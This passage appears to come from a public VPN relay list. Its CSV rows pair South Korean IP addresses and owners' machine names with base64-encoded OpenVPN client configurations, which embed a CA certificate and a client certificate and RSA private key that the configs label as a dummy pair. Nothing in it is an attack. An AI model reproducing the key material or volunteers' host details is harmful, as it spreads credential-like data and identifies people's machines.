0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn635241029,220.117.95.231,538315,32,85975988,Korea Republic of,KR,8,1000,12285,1170541999713,2weeks,DESKTOP-93PC42K's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuMTE3Ljk1LjIzMSAxMzM0DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn339628984,119.193.226.172,536080,32,405638041,Korea Republic of,KR,8,1000,311521,43041502324104,2weeks,DESKTOP-3HKJ7GA's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMj